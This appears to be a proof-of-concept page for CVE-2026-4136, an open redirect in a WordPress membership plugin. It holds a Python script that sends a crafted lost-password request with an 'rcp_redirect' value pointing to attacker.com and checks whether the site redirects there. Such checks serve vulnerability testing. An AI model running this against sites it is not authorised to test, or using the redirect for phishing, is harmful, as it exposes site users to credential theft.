CVE-2026-4136 WordPress Membership Plugin开放重定向漏洞

# PoC Code for CVE-2026-4136 # Vulnerability: Unvalidated Redirect in Membership Plugin import requests def check_redirect(target, malicious_url): # The vulnerable endpoint is typically the login or password reset action url = f"{target}/wp-login.php" params = { "action": "lostpassword", "rcp_redirect": malicious_url } try: # Send request without following redirects to capture the Location header response = requests.get(url, params=params, allow_redirects=False, timeout=5) if response.status_code == 302: location = response.headers.get('Location') if location == malicious_url: print(f"[+] Vulnerable! Redirecting to: {location}") return True else: print(f"[-] Redirect found but to a different location: {location}") else: print("[-] No redirect triggered or exploit failed.") except Exception as e: print(f"Error: {e}") if __name__ == "__main__": target_site = "http://example.com" # Replace with target evil_site = "http://attacker.com" check_redirect(target_site, evil_site)